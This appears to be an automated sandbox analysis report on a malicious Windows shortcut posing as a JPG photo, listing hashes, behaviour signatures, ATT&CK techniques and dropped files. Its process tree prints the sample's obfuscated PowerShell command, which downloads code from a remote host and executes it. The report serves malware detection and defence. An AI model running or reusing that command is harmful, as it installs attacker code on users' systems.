950aebe7fd8c4c9c32f0a69dc5c2f974d4e89a9127e7624f196c11e6c1bed061

Analysis

max time kernel
149s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_204752.jpg.lnk
Size 1KB
Sample260725-m8ph3swdld
SHA256 950aebe7fd8c4c9c32f0a69dc5c2f974d4e89a9127e7624f196c11e6c1bed061
MD5 1005b235ef2f9ae1a634e6153901a4c0
SHA1 85a36977c8d22a630fc147e95246453a0cb890e2
SHA512 447aba127d1a568d5a680cc780fd198e859cc40496924334088c33ae779dc69ef6ae8318b20c57b450edb5495f9fb8b7613dfcb2ed711f08730e2f2c21d1b0ac
TLSH
T18231D2299FF21339D6B78B355876631187217B0EEA498FDF1280C2949864121FC78F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4232	powershell.exe
8	4232	powershell.exe
10	4232	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4808	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 4232	4808	cmd.exe	90
PID 4232 wrote to memory of 1828	4232	powershell.exe	91
PID 1828 wrote to memory of 3884	1828	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_204752.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('s','t','e','reserv','otoin','ph','y.','on','a')[3,5,4,0,1,8,6,7,2] -join $u9gC) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ejftlydm\ejftlydm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E4.tmp" "c:\Users\Admin\AppData\Local\Temp\ejftlydm\CSC892AAFC4FF27429FB69283943FA8965.TMP"
      4⤵
      PID:3884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES2E4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2E4.tmp
Size 1KB
SHA256 1088d36e98bfe6b547aebd3a26b7f4e1459ddd5b438bf51edb61a77ff7877858
MD5 2c7b81ab288d6a5c46eb0dd9454b544d
SHA1 91efcd0a37228f739c1f6d19efe49912f98f57c7
SHA512 c8439ff3bea79e0223c3eb5b87e05cc1e07e5d8ac6e008467ad74d5e2891c493c7d07c24f4b14de169ae6261a6a93a2c841eff7ee48814508d1df237ad1a2d20
TLSH
T14721EF0693ED470FF073573169F5131F9674FC69EFA1A39A8440422C2C41204EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

ejftlydm.dll

Path C:\Users\Admin\AppData\Local\Temp\ejftlydm\ejftlydm.dll
Size 3KB
SHA256 6c59d410100df287f7df7e5ec19f1e6fedb25e8da201de7e7b717921c1ed290b
MD5 295fbe7d724d4091e1c639c8eaa84bf2
SHA1 bd626398d0e28ee59932f6bc0a06c3edc276262b
SHA512 9fc4d580568fc81124ce20aafb7b4b5b6253556721d7b75d45f1a4f9a030d1a166e191d63793efe537efd6dd3fcb214e0d76a6c8d6db02b89b22e50e33726906
TLSH
T14351CA1BA3EC066BE4670734AFF3075337B4F8209FB257AD59800228AC607545E35BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC892AAFC4FF27429FB69283943FA8965.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ejftlydm\CSC892AAFC4FF27429FB69283943FA8965.TMP
Size 652B
SHA256 d00263f7048dd05c0255bececf6ff388e11ffa38e869d7be684833b220381095
MD5 c972d19481339ede5f9286c61055cef5
SHA1 a6f0199d1ec52b321abb049ca26d0b148bcf4394
SHA512 d004e7f377a42ad0e3c75b0fe8c2a7862eb2186c4282798887d2cb7e1c6bce825a5374a04d06609ccebd8b78ba15d5e8f702445525352803966596abca7c6f5a
TLSH
T14EF03A0A63FC024AF0F34B30BEF6836395A8BC74DE3293ED1490431D2C6461089A2FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ejftlydm.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ejftlydm\ejftlydm.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

ejftlydm.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ejftlydm\ejftlydm.cmdline
Size 369B
SHA256 19e8bc95a990e0cd14aea7a432ada6a418005f0d41f9d8b28684f98284af0b5c
MD5 4900dd483192f238932be5d5663c8881
SHA1 bf7dd61ea91d692cb80ff00f6e93af157d8ed816
SHA512 5022a920e92c48ca7d673ac9a890502b2827131666110d040d7bca5d530b4af96aeb0662edee95274ecd839630b933dfdeaa0d40af42db152c651645e464d6a2
TLSH
T1EDE0C02B8247C67F1BED700B316AD4ADE276074B29813F885240442DDC2F14027D1772
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4232-10-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-20-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-11-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-12-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-13-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-14-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-15-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-16-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-17-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-18-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-19-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-2-0x00007FFE9EF2F000-0x00007FFE9EF30000-memory.dmp

Download

memory/4232-9-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-8-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-33-0x000001E2FC8A0000-0x000001E2FC8A8000-memory.dmp

Download

memory/4232-7-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-6-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-5-0x000001E2FC8B0000-0x000001E2FC8D2000-memory.dmp

Download

memory/4232-34-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-35-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-36-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download

memory/4232-40-0x00007FFE9EDA0000-0x00007FFE9F744000-memory.dmp

Download